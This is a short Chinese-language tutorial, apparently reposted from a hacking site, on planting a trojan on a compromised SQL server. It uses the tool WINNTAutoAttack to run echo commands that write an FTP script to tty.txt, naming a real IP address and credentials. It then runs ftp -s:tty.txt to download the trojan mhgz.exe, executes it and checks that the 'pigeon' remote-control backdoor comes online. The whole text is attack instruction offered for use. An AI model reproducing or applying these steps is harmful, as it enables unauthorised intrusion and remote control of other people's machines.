| 关键词: nbsp 木马 txt 文件 tty 命令 输入 echo 机上 主机 |
往SQL主机上传木马的基本思路是:在SQL主机上建立一个txt文件,内容为FTP服务器信息及要下载的文件,然后用 ftp -s:txt文件名 命令把木马下载在SQL主机里.具体操作如下: 打开超级扫描工具WINNTAutoAttack,转到“SQLCMD执行”界面,连接上SQL主机后,依次输入以下命令: echo open 61.242.176.19>>tty.txt echo atty>>tty.txt echo aa12345>>tty.txt echo bin>>tty.txt echo get mhgz.exe>>tty.txt (mhgz.exe为配置好并传到FTP空间的木马) echo bye>>tty.txt 输入以上命令后,你就在SQL主机上建立了一个文件tty.txt,你可以用dir tty.txt查看这个文件是否存在,还可以用type tty.txt查看文件内容。 接着输入ftp -s:tty.txt命令,稍等片刻就把木马(这里木马文件名为mhgz.exe)下载到SQL主机里了. 接着运行木马,输入mhgz.exe,木马就被运行了.打开你的鸽子,看看是不是上线了. 用以上方法传木马到SQL主机上成功率是非常高的,如果不成功首先检查FTP空间密码、检查输入建立txt文件命令是否正确,然后要确信你能控制你配置的肉鸡。如果都没有问题,基本上就OK了。 |
|
声明:文章版权归原作者所有 部分文章转自互联网 如有侵权请联系
[邮箱地址] 删除
|